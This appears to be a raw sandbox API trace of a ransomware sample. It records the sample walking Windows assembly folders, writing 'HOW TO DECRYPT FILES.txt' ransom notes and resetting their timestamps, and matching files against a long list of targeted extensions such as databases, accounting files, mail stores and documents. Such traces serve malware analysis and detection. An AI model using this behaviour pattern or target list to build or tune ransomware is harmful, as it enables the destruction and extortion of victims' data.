ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf530c580, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.206] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.206] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.206] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0099.206] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.206] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.206] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\*.*") returned="*.*" [0099.206] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0099.206] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.206] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.207] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.207] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.207] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x12fb8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.207] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0099.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0099.207] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0099.207] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.207] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0099.207] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.207] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.207] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.208] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.213] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.215] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.216] CloseHandle (hObject=0x90) returned 1 [0099.216] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll" [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.ems") returned 0 [0099.216] lstrlenA (lpString="*.ems") returned 5 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.db") returned 0 [0099.216] lstrlenA (lpString="*.db") returned 4 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.dbf") returned 0 [0099.216] lstrlenA (lpString="*.dbf") returned 5 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.myox") returned 0 [0099.216] lstrlenA (lpString="*.myox") returned 6 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.myo") returned 0 [0099.216] lstrlenA (lpString="*.myo") returned 5 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbw") returned 0 [0099.216] lstrlenA (lpString="*.qbw") returned 5 [0099.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbb") returned 0 [0099.216] lstrlenA (lpString="*.qbb") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbm") returned 0 [0099.217] lstrlenA (lpString="*.qbm") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbo") returned 0 [0099.217] lstrlenA (lpString="*.qbo") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbx") returned 0 [0099.217] lstrlenA (lpString="*.qbx") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qba") returned 0 [0099.217] lstrlenA (lpString="*.qba") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qby") returned 0 [0099.217] lstrlenA (lpString="*.qby") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qbj") returned 0 [0099.217] lstrlenA (lpString="*.qbj") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.ofx") returned 0 [0099.217] lstrlenA (lpString="*.ofx") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.qif") returned 0 [0099.217] lstrlenA (lpString="*.qif") returned 5 [0099.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mye") returned 0 [0099.217] lstrlenA (lpString="*.mye") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mbox") returned 0 [0099.218] lstrlenA (lpString="*.mbox") returned 6 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.218] lstrlenA (lpString="*.eml") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.pst") returned 0 [0099.218] lstrlenA (lpString="*.pst") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.ost") returned 0 [0099.218] lstrlenA (lpString="*.ost") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.idx") returned 0 [0099.218] lstrlenA (lpString="*.idx") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.dbx") returned 0 [0099.218] lstrlenA (lpString="*.dbx") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.sql") returned 0 [0099.218] lstrlenA (lpString="*.sql") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mdb") returned 0 [0099.218] lstrlenA (lpString="*.mdb") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.fdb") returned 0 [0099.218] lstrlenA (lpString="*.fdb") returned 5 [0099.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.wab") returned 0 [0099.219] lstrlenA (lpString="*.wab") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.dat") returned 0 [0099.219] lstrlenA (lpString="*.dat") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.txt") returned 0 [0099.219] lstrlenA (lpString="*.txt") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.jpeg") returned 0 [0099.219] lstrlenA (lpString="*.jpeg") returned 6 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.jpg") returned 0 [0099.219] lstrlenA (lpString="*.jpg") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.png") returned 0 [0099.219] lstrlenA (lpString="*.png") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.php") returned 0 [0099.219] lstrlenA (lpString="*.php") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.cs") returned 0 [0099.219] lstrlenA (lpString="*.cs") returned 4 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.cpp") returned 0 [0099.219] lstrlenA (lpString="*.cpp") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.rar") returned 0 [0099.219] lstrlenA (lpString="*.rar") returned 5 [0099.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.zip") returned 0 [0099.219] lstrlenA (lpString="*.zip") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.html") returned 0 [0099.220] lstrlenA (lpString="*.html") returned 6 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.htm") returned 0 [0099.220] lstrlenA (lpString="*.htm") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.xlsx") returned 0 [0099.220] lstrlenA (lpString="*.xlsx") returned 6 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.xls") returned 0 [0099.220] lstrlenA (lpString="*.xls") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mp4") returned 0 [0099.220] lstrlenA (lpString="*.mp4") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.ppt") returned 0 [0099.220] lstrlenA (lpString="*.ppt") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.pptx") returned 0 [0099.220] lstrlenA (lpString="*.pptx") returned 6 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.doc") returned 0 [0099.220] lstrlenA (lpString="*.doc") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.dot") returned 0 [0099.220] lstrlenA (lpString="*.dot") returned 5 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.docx") returned 0 [0099.220] lstrlenA (lpString="*.docx") returned 6 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.7z") returned 0 [0099.220] lstrlenA (lpString="*.7z") returned 4 [0099.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.tar") returned 0 [0099.220] lstrlenA (lpString="*.tar") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.bz2") returned 0 [0099.221] lstrlenA (lpString="*.bz2") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.gz") returned 0 [0099.221] lstrlenA (lpString="*.gz") returned 4 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mkv") returned 0 [0099.221] lstrlenA (lpString="*.mkv") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.eml") returned 0 [0099.221] lstrlenA (lpString="*.eml") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.msg") returned 0 [0099.221] lstrlenA (lpString="*.msg") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.edb") returned 0 [0099.221] lstrlenA (lpString="*.edb") returned 5 [0099.221] PathMatchSpecA 